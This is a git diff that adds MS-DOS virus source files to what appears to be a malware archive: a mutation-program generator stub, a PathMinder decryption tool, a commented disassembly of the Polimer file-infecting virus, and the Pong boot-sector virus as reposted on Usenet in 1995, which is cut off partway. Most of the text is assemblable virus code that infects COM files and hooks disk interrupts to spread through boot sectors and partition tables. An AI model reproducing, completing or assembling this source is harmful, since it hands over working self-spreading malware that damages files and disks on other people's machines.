JBE L0 + MOV BYTE PTR CS:BX+7,'0' + INC BYTE PTR CS:BX+6 +L0: + POP CX + LOOP GEN + + INT 20H + +FILENAME DB '00000000.COM',0 + +GEN_MSG DB 'Generating 50 mutation programs... $' + +PROG: + CALL $+3 + POP DX + ADD DX,OFFSET MSG - OFFSET PROG - 3 + MOV AH,9 + INT 21H + INT 20H +MSG DB 'I am a mutation program.$' +PROG_END: + + + END BEGIN + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pmfejt.asm b/MSDOS/Virus.MSDOS.Unknown.pmfejt.asm new file mode 100644 index 00000000..4a86ca20 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pmfejt.asm @@ -0,0 +1,227 @@ +START SEGMENT + ASSUME CS:START,DS:START + MOV BX,80H + MOV CH,0 + MOV CL,[BX] + DEC CX + MOV SI,OFFSET KODOK+100H + CALL BET + JZ KILEP + MOV SI,OFFSET FILEN+100H + CALL BET + JZ KILEP + MOV SI,OFFSET FILECO+100H + CALL BET + JMP FOLYT +KILEP: INT 20H +FOLYT: MOV SI,OFFSET KODOK+100H + MOV BX,OFFSET KODTB+100H +CIKL1: MOV AL,[SI] + OR AL,AL + JZ FOLYT5 + OR AL,20H +FOLYT5: CMP AL,[BX] + JZ FOLYTC + JMP KODER +FOLYTC: CMP AL,0 + JZ FOLYT4 + INC BX + INC SI + JMP CIKL1 +FOLYT4: MOV AL,0 + MOV AH,3DH + MOV DX,OFFSET FILECO+100H + INT 21H + JNC FOLYTD + JMP FILER +FOLYTD: PUSH AX + MOV BX,AX + MOV AH,3FH + MOV CX,100H + MOV DX,OFFSET IPUFF+100H + INT 21H + POP BX + JNC FOLYTE + JMP FILER +FOLYTE: MOV AH,3EH + INT 21H + JNC FOLYTF + JMP FILER +FOLYTF: MOV BX,OFFSET IPUFF+100H + MOV SI,OFFSET PMNAM+100H +CIKL2: MOV AL,[SI] + OR AL,AL + JZ FOLYT7 + CMP AL,[BX] + JZ PMOK + JMP PMER +PMOK: INC BX + INC SI + JMP CIKL2 +FOLYT7: MOV DI,OFFSET FILMO+100H + MOV DL,2 +CIKL4: MOV SI,OFFSET FILEN+100H + MOV CX,13 + REP MOVSB + DEC DL + JNZ CIKL4 +FOLYTA: MOV BX,7 + MOV CX,26 + MOV AL,03FH + MOV AH,9 + INT 10H + MOV BX,OFFSET IPUFF+157H + MOV CX,26 + MOV SI,OFFSET FILMO+100H + MOV DI,OFFSET OPUFF+100H + MOV BYTE PTR [IRANY+100H],1 +CIKL6: PUSH CX + MOV CL,0 +CIKL5: MOV AL,[SI] + XOR AL,CL + ROR AL,CL + CMP AL,[BX] + JZ FOLYTB +CIKL9: ADD CL,BYTE PTR [IRANY+100H] + JNZ CIKL5 + PUSH BX + PUSH CX + PUSH AX + MOV AX,0E07H + MOV BX,0 + INT 10H + MOV AX,0E3FH + MOV BX,0 + INT 10H + POP AX + POP CX + POP BX + JMP TASZT +FOLYTB: MOV [DI],CL + CMP CL,128 + JC FOLYTG + JMP CIKL9 +FOLYTG: CMP CL,20H + JC CIKL9 +TASZT1: PUSH CX + PUSH BX + PUSH AX + MOV BX,0 + MOV AL,CL + MOV AH,0EH + MOV CX,1 + INT 10H + POP AX + POP BX + POP CX +TASZT: MOV AH,0 + INT 16H + CMP AH,4BH + JZ BAL + CMP AH,4DH + JZ JOBB + CMP AH,48H + JZ FEL + CMP AH,50H + JZ LE1 + CMP AH,1CH + JZ ESC1 + JMP TASZT +LE1: CALL BALRA + MOV BYTE PTR [IRANY+100H],0FFH + JMP CIKL9 +BALRA: PUSH BX + PUSH CX + PUSH AX + MOV AX,0E08H + MOV BX,0 + INT 10H + POP AX + POP CX + POP BX + RET +FEL: CALL BALRA + MOV BYTE PTR [IRANY+100H],01H + JMP CIKL9 +BAL: CALL BALRA + CMP BX,OFFSET IPUFF+157H + JNC BAL1 + JMP CIKL9 +BAL1: CALL BALRA + DEC BX + DEC SI + DEC DI + POP CX + INC CX + JMP CIKL6 +JOBB: CMP BX,OFFSET IPUFF+157H+25 + JC JOBB1 + CALL BALRA + JMP CIKL9 +JOBB1: INC BX + INC SI + INC DI + POP CX + DEC CX + JMP CIKL6 +ESC1: POP CX + MOV AX,0E0DH + MOV BX,0 + INT 10H + MOV AX,0E0AH + MOV BX,0 + INT 10H + MOV BYTE PTR [OPUFF+100H+28],0 +KILEP1: MOV SI,OFFSET OPUFF+100H + CALL KIIR + JMP KILEP +IRANY: DB 1 +PMER: MOV SI,OFFSET PERR+100H + CALL KIIR + JMP KILEP +KODER: MOV SI,OFFSET KDERR+100H + CALL KIIR + JMP KILEP +FILER: MOV SI,OFFSET FERR+100H + CALL KIIR + JMP KILEP +KIIR: MOV AL,[SI] + CMP AL,0 + JNZ FOLYT6 + RET +FOLYT6: MOV AH,0EH + MOV BX,0 + INT 10H + INC SI + JMP KIIR +BET: MOV AL,[BX+2] + CMP AL,20H + JNZ FOLYT2 + MOV BYTE PTR [SI],0 + INC BX + INC SI + LOOP FOLYT3 + XOR AL,AL +FOLYT3: RET +FOLYT2: MOV [SI],AL + INC SI + INC BX + LOOP BET + MOV BYTE PTR [SI],0 + XOR AL,AL + RET +PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0 +FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0 +PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0 +KRERR: DB 'KERESESI HIBA',0DH,0AH,0 +KDERR: DB 'KODOLASI HIBA',0DH,0AH,0 +FILEN: DB 64 DUP (0) +FILECO: DB 64 DUP (0) +KODOK: DB 64 DUP (0) +KODTB: DB 'feri&bozo',0 +IPUFF: DB 256 DUP (0) +FILMO: DB 30 DUP (0) +OPUFF: DB 32*64 DUP (0) +START ENDS + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.polimer.asm b/MSDOS/Virus.MSDOS.Unknown.polimer.asm new file mode 100644 index 00000000..420f0679 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.polimer.asm @@ -0,0 +1,274 @@ + +PAGE 59,132 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ POLIMER VIRUS ŪŪ +;ŪŪ ŪŪ +;ŪŪ Disassembly by >> Wasp << a.k.a. Night Crawler. ŪŪ +;ŪŪ ŪŪ +;ŪŪ Created: 5-Jan-92 ŪŪ +;ŪŪ Version: 1.0d ŪŪ +;ŪŪ Passes: 5 Analysis Options on: OW ŪŪ +;ŪŪ ŪŪ +;ŪŪ Reassemble with MASM 5.01 ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +DATA_1E EQU 80H +DATA_2E EQU 162H +DATA_3E EQU 16AH +DATA_4E EQU 0C0H +DATA_5E EQU 103H +DATA_6E EQU 128H +DATA_7E EQU 2B9H +DATA_8E EQU 0C0H +DATA_9E EQU 0C1H +DATA_10E EQU 0C8H +DATA_12E EQU 0CAH +DATA_14E EQU 0CCH +DATA_23E EQU 0 +DATA_24E EQU 100H +DATA_25E EQU 200H + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +POLIMER PROC FAR + +START: + JMP LOC_4 ; (0183) + DB 00H, 3FH + DB 7 DUP (3FH) + DB 43H, 4FH, 4DH, 00H, 1AH, 00H + DB 00H, 00H, 2EH,0F2H, 0CH, 2BH + DB 01H + DB 15 DUP (0) +DATA_18 DB 'A le', 27H, 'jobb kazetta a POLI' + DB 'MER kazetta ! Vegye ezt ! ', 0AH + DB 0DH, '$' + DB 'ERROR', 0AH, 0DH, '$' +DATA_19 DW 5 +DATA_20 DW 18D8H +LOC_1: + MOV SI,DATA_7E + MOV DI,DATA_8E + MOV CX,30H + CLD ; Clear direction + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + JMP $-0BAH +LOC_2: + JMP LOC_10 ; (0296) +LOC_3: + JMP LOC_9 ; (028F) +LOC_4: + MOV AL,0 + MOV AH,0EH + INT 21H ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + MOV DX,DATA_4E + MOV AH,1AH + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + MOV DX,DATA_6E + MOV AH,9 + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx +LOC_5: + MOV DX,DATA_5E + MOV AH,11H + INT 21H ; DOS Services ah=function 11h + ; find filename, FCB @ ds:dx + TEST AL,AL + JNZ LOC_2 ; Jump if not zero +LOC_6: + MOV WORD PTR DS:DATA_14E,2424H + MOV AX,DS:DATA_12E + MOV WORD PTR DS:DATA_12E+1,AX + MOV AX,DS:DATA_10E + MOV AL,2EH ; '.' + MOV WORD PTR DS:DATA_10E+1,AX + MOV AL,2 + MOV DX,DATA_9E + MOV AH,3DH ; '=' + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_3 ; Jump if carry Set + MOV DATA_19,AX + MOV BX,DATA_19 + MOV CX,0 + MOV DX,0 + MOV AL,2 + MOV AH,42H ; 'B' + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_3 ; Jump if carry Set + MOV DATA_20,AX + MOV BX,DATA_19 + MOV CX,0 + MOV DX,0 + MOV AL,0 + MOV AH,42H ; 'B' + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_3 ; Jump if carry Set + MOV BX,DATA_19 + MOV CX,200H + MOV DX,DATA_23E + MOV AX,DS + ADD AX,1000H + MOV DS,AX + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + MOV CX,80H + CLD ; Clear direction + MOV SI,DATA_24E + MOV DI,OFFSET DS:[200H] + REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] + JZ LOC_8 ; Jump if zero + MOV BX,CS:DATA_19 + MOV CX,CS:DATA_20 + SUB CX,200H + MOV DX,DATA_25E + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + MOV AX,DS + SUB AX,1000H + MOV DS,AX + MOV BX,DATA_19 + MOV CX,0 + MOV DX,0 + MOV AL,0 + MOV AH,42H ; 'B' + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + MOV BX,DATA_19 + MOV DX,OFFSET DS:[100H] + MOV CX,200H + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + MOV BX,DATA_19 + MOV DX,DATA_23E + MOV CX,DATA_20 + MOV AX,DS + ADD AX,1000H + MOV DS,AX + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + MOV AX,DS + SUB AX,1000H + MOV DS,AX + MOV BX,DATA_19 + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP SHORT LOC_10 ; (0296) + DB 90H +LOC_7: + MOV DX,DATA_5E + MOV AH,12H + INT 21H ; DOS Services ah=function 12h + ; find next filenam, FCB @ds:dx + TEST AL,AL + JNZ LOC_10 ; Jump if not zero + JMP LOC_6 ; (01A2) +LOC_8: + MOV AX,DS + SUB AX,1000H + MOV DS,AX + MOV BX,DS:DATA_3E + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP SHORT LOC_7 ; (0270) +LOC_9: + MOV DX,DATA_2E + MOV AH,9 + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx +LOC_10: + MOV AH,19H + INT 21H ; DOS Services ah=function 19h + ; get default drive al (0=a:) + TEST AL,AL + JNZ LOC_11 ; Jump if not zero + MOV DL,2 + MOV AH,0EH + INT 21H ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + MOV AH,19H + INT 21H ; DOS Services ah=function 19h + ; get default drive al (0=a:) + TEST AL,AL + JZ LOC_11 ; Jump if zero + JMP LOC_5 ; (0197) +LOC_11: + MOV DX,DATA_1E + MOV AH,1AH + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + JMP LOC_1 ; (016E) + DB 0BEH, 00H, 03H + DB 0BFH, 00H, 01H,0B9H, 00H,0FDH + DB 0FCH,0F3H,0A4H,0EBH + DB 32H, 90H + DB 56 DUP (0) + +POLIMER ENDP + +SEG_A ENDS + + + + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.pong.asm b/MSDOS/Virus.MSDOS.Unknown.pong.asm new file mode 100644 index 00000000..b5a7596f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pong.asm @@ -0,0 +1,656 @@ +From smtp Tue Feb 7 13:15 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500 +Date: Tue, 7 Feb 1995 13:17:17 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 22178 +Content-Type: text +Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Pong +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: Pong +Date: 5 Feb 1995 21:56:02 GMT +Organization: International Internet Association. +Lines: 624 +Message-ID: <3h3hhi$sb@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the Pong virus: + + + + ; ORIGININ ADDRESS -7C00H + + +RAM SEGMENT AT 0 + + ; SYSTEM DATA + + ORG 20H +INT8OF DW ? ; INTERRUPT 8 OFFSET +INT8SG DW ? ; INTERRUPT 8 SEGMENT + ORG 4CH +INT19O DW ? ; INTERRUPT 19 OFFSET +INT19S DW ? ; INTERRUPT 19 SEGMENT + ORG 413H +RAMSIZ DW ? ; TOTAL RAM SIZE + + ; BPB OF VIRUS BOOT RECORD + + ORG 7C0BH +BYPSEC DW ? ; BYTES PER SECTOR +NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT +SECRES DW ? ; RESERVED SECTORS +FATNUM DB ? ; NUMBER OF FATS +DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES +SECNUM DW ? ; NUMBER OF SECTORS +MEDIAD DB ? ; MEDIA DESCRIPTOR +SECFAT DW ? ; NUMBER OF SECTORS PER FAT +SECTRK DW ? ; SECTORS PER TRACK +HEDNUM DW ? ; NUMBER OF HEADS +HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) + + ; INTERRUPT 19 (13H) BRANCH ADDRESS + + ORG 7D2AH + +ORIG19 DW ? ; ORIGINAL INT 19 OFFSET +ORG19S DW ? ; ORIGINAL INT 19 SEGMENT + + ; INSTALLATION DATA AREA + + ORG 7DF3H +CURFAT DW ? ; CURRENT FAT SECTOR +CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER +SWITCH DB ? ; SWITCHES + ; - 01H - NESTED INTERRUPT + ; - 02H - TIMER INTERRUPT INSTALLED + ; - 04H - 16-BIT FAT +LSTDRV DB ? ; DRIVE LAST USED +REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE +RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING +FLAG01 DW ? ; FLAG FIELD + + ; DATA AREA + + ORG 7EB0H +LASTTM DW ? ; SYSTEM TIME LAST CALLED +PRCFAT DB ? ; PROCESSED FAT / 256 + + ; INTERRUPT 8 BRANCH ADDRESS + + ORG 7FC9H +ORG08O DW ? ; ORIGINAL INT 8 OFFSET +ORG08S DW ? ; ORIGINAL INT 8 SEGMENT + + ; DISPLAY DATA AREA + + ORG 7FCDH +CHARAT DW ? ; CHARACTER AND ATTRIBUTES +ROWCOL DW ? ; ROW AND COLUMN POSITIONS +ROWCLM DW ? ; ROW AND COLUMN MOVEMENT +GRAPHM DB ? ; GRAPHICS MODE SWITCH +MODEAP DW ? ; MODE AND ACTIVE PAGE +COLUMN DB ? ; VISIBLE COLUMNS - 1 + + ; BPB OF ORIGINAL BOOT RECORD + + ORG 800BH +BIPSEC DW ? ; BYTES PER SECTOR +ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT +VERVED DW ? ; RESERVED SECTORS +RUMNUM DB ? ; NUMBER OF FATS +ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES +NUOSEC DW ? ; NUMBER OF SECTORS +MIASET DB ? ; MEDIA DESCRIPTOR +FASNUM DW ? ; NUMBER OF SECTORS PER FAT +TRASSC DW ? ; SECTORS PER TRACK +NUOHED DW ? ; NUMBER OF HEADS +HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) + + + ORG 81F5H +FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER +SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT + ; - 02H - TIMER INTERRUPT INSTALLED + ; - 04H - 16-BIT FAT +LASTUS DB ? ; DRIVE LAST USED +REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE +LATER2 DB ? ; TYPE SWITCH +LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM? + + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: + JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE + + DB 'MSDOS3.2' ; OEM AND VERSION + + DW 512 ; BYPSEC - BYTES PER SECTOR + DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT + DW 1 ; SECRES - RESERVED SECTORS + DB 2 ; FATNUM - NUMBER OF FATS + DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES + DW 720 ; SECNUM - NUMBER OF SECTORS + DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR + DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT + DW 9 ; SECTRK - SECTORS PER TRACK + DW 2 ; HEDNUM - NUMBER OF HEADS + DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER) + + ; START OF PROCESSING + + ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA + +HIDE_ME_PLEASE: + XOR AX,AX + MOV SS,AX ; STACK SEGMENT ZERO + MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER + MOV DS,AX ; DATA SEGMENT ZERO + MOV AX,RAMSIZ ; GET TOTAL RAM SIZE + SUB AX,2 ; SUBTRACT 2K + MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE + MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT + SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS) + SUB AX,7C0H ; SUBTRACT BUFFER OFFSET + MOV ES,AX ; SET TARGET SEGMENT ADDRESS + MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET + MOV DI,SI ; COPY OFFSET FOR SOURCE + MOV CX,0100H ; NUMBER OF WORDS TO MOVE + REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE +; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION + ; THIS IS THE ILLEGAL OPCODE! + DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED + + ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE + + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + CALL SET_IT_UP +SET_IT_UP: + XOR AH,AH ; INITIALISE DISK SUB-SYSTEM + INT 13H ; DISK INTERRUPT + AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK + MOV BX,REMAIN ; GET SECTOR OF REST OF CODE + PUSH CS ; \ GET CURRENT SEGMENT + POP AX ; / + SUB AX,20H ; ADDRESS BACK ONE SECTOR + MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE + CALL READ_IT_IN ; READ REST OF CODE + MOV BX,REMAIN ; GET SECTOR OF REST OF CODE + INC BX ; ADDRESS TO BOOT SECTOR STORE + MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H) + MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR + CALL READ_IT_IN ; READ REAL BOOT SECTOR + XOR AX,AX + MOV SWITCH,AL ; SET OFF ALL SWITCHES + MOV DS,AX ; DATA SEGMENT ZERO + MOV AX,INT19O ; SAVE INT 19 OFFSET + MOV BX,INT19S ; SAVE INT 19 SEGMENT + MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET + MOV INT19S,CS ; NEW INT 19 SEGMENT + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + MOV ORIG19,AX ; STORE OLD INT 19 OFFSET + MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT + MOV DL,LSTDRV ; GET DRIVE NUMBER + DB 0EAH ; FAR JUMP TO BOOT SECTOR + DW 7C00H, 0 + +WRITE_IT_OUT: + MOV AX,301H ; WRITE ONE SECTOR + JMP SHORT GET_SECTOR + +READ_IT_IN: + MOV AX,201H ; READ ONE SECTOR +GET_SECTOR: + XCHG BX,AX ; MOVE SECTOR NUMBER TO AX + ADD AX,HIDSEC ; ADD HIDDEN SECTORS + XOR DX,DX ; CLEAR FOR DIVISION + DIV SECTRK ; DIVIDE BY SECTORS PER TRACK + INC DL ; ADD ONE TO ODD SECTORS + MOV CH,DL ; SAVE SECTOR NUMBER + XOR DX,DX ; CLEAR FOR DIVISION + DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS + MOV CL,6 ; POSITIONS TO MOVE + SHL AH,CL ; MOVE TOP TWO BITS OF TRACK + OR AH,CH ; MOVE IN SECTOR NUMBER + MOV CX,AX ; MOVE TO CORRECT REGISTER + XCHG CH,CL ; ..AND CORRECT POSITION IN REG + MOV DH,DL ; MOVE HEAD NUMBER + MOV AX,BX ; RECOVER CONTENTS OF AX +BRING_IN: + MOV DL,LSTDRV ; GET DRIVE NUMBER + MOV BX,8000H ; SET BUFFER ADDRESS + INT 13H ; DISK INTERRUPT + JNB GO_BACK ; BRANCH IF NO ERRORS + POP AX +GO_BACK: + RET + + ; INTERRUPT 19 (13H) (DISK) ROUTINE + +INT_19: + PUSH DS + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + PUSH CS ; \ SET ES EQUAL TO CS + POP ES ; / + TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH + JNZ PASS_OUT ; EXIT IF ON + CMP AH,2 ; TEST FOR READ SECTOR + JNZ PASS_OUT ; EXIT IF NOT + CMP LSTDRV,DL ; COMPARE DRIVE NUMBER + MOV LSTDRV,DL ; SAVE DRIVE NUMBER + JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME + + ; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS + ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH + ; TIME A DISK-READ WILL SWITCH IT ON. + + XOR AH,AH ; GET SYSTEM CLOCK + INT 1AH ; SYSTEM CLOCK INTERRUPT + TEST DH,7FH ; TEST LOW WORD HIGH BYTE + JNZ DO_TIME + TEST DL,0F0H ; TEST LOW WORD LOW BYTE + JNZ DO_TIME + PUSH DX ; SAVE SYSTEM TIME + CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE + POP DX ; RECOVER SYSTEM TIME +DO_TIME: + MOV CX,DX ; COPY SYSTEM TIME + SUB DX,LASTTM ; INTERVAL SINCE LAST CALL + MOV LASTTM,CX ; SAVE SYSTEM TIME + SUB DX,24H ; SUBTRACT 2 SECONDS + JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS +INT_SWITCH: + OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH + PUSH SI + PUSH DI + CALL DISK_INSTALL ; INSTALL ON DISK + POP DI + POP SI + AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH +PASS_OUT: + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + DB 0EAH ; FAR JUMP TO ORIGINAL INT 19 + DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET + DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT + + ; DISK INSTALLATION + +DISK_INSTALL: + MOV AX,201H ; READ ONE SECTOR + MOV DH,0 ; HEAD NUMBER 0 + MOV CX,1 ; TRACK 0, SECTOR 1 + CALL BRING_IN ; READ FIRST SECTOR FROM DISK + TEST LSTDRV,80H ; TEST FOR HARD DRIVE + JZ FAT_CHECK ; BRANCH IF NOT + + ; HARD DISK - PARTITION TABLE + + MOV SI,81BEH ; ADDRESS TO PARTITION TABLE + MOV CX,4 ; NUMBER OF ENTRIES IN TABLE +NEXT_PART_ENTRY: + CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT + JZ SNARF_UP_THE_BOOT ; BRANCH IF YES + CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT + JZ SNARF_UP_THE_BOOT ; BRANCH IF YES + ADD SI,10H ; ADDRESS TO NEXT ENTRY + LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE + RET + + ; HARD DISK - GET BOOT RECORD + +SNARF_UP_THE_BOOT: + MOV DX,[SI] ; GET HEAD NUMBER OF BOOT + MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT + MOV AX,201H ; READ ONE SECTOR + CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION + + ; BOOT SECTOR PROCESSING + +FAT_CHECK: + MOV SI,8002H ; ADDRESS TO BPB SOURCE + MOV DI,7C02H ; ADDRESS TO BPB TARGET + MOV CX,1CH ; LENGTH OF BPB + REPZ MOVSB ; COPY BPB + CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY + JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT + CMP LATER2,0 + JNB HEAD_EM_OUT + MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER + MOV CURCLS,AX ; SAVE IT + MOV SI,REMAI2 + JMP PLACE_VIRUS + +HEAD_EM_OUT: RET + + ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER + +WHERE_BE_THE_FAT: + CMP BIPSEC,200H ; SECTOR SIZE 512 + JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE + CMP ALCSEC,2 ; SECTORS PER CLUSTER + JB HEAD_EM_OUT ; EXIT IF LESS THAN 2 + MOV CX,VERVED ; GET RESERVED SECTORS + MOV AL,RUMNUM ; NUMBER OF FATS + CBW ; FILL OUT REGISTER + MUL FASNUM ; SECTORS PER FAT + ADD CX,AX ; SECTOR OF ROOT DIR + MOV AX,20H ; LENGTH OF DIR ENTRY + MUL ROTRID ; NUMBER OF DIR ENTRIES + ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS + MOV BX,200H ; LENGTH OF SECTOR + DIV BX ; SECTORS OF ROOT DIR + ADD CX,AX ; SECTOR OF FIRST CLUSTER + MOV CURCLS,CX ; SAVE THIS + MOV AX,SECNUM ; GET NUMBER OF SECTORS + SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS + MOV BL,NUMSEC ; GET SECTORS PER CLUSTER + XOR DX,DX + XOR BH,BH ; CLEAR TOP OF REGISTER + DIV BX ; CALCULATE NUMBER OF CLUSTERS + INC AX ; ALLOW FOR NUMBER ONE NOT USED + MOV DI,AX + AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH + CMP AX,0FF0H ; SEE IF 12-BIT FAT + JBE WRITE_FAT ; BRANCH IF YES + OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH +WRITE_FAT: + MOV SI,1 ; INITIALISE FAT ENTRY COUNT + MOV BX,SECRES ; GET RESERVED SECTORS + DEC BX ; ALLOW FOR ADDITION + MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR + MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2 + JMP SHORT READ_FAT + + ; DATA AREA + + DW 2 ; CURFAT - CURRENT FAT SECTOR + DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER + DB 1 ; SWITCH - SWITCHES + ; - 01H - NESTED INTERRUPT + ; - 02H - TIMER INTERRUPT INSTALLED + ; - 04H - 16-BIT FAT + DB 0 ; LSTDRV - DRIVE LAST USED + DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE + DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING + DW 1357H, 0AA55H 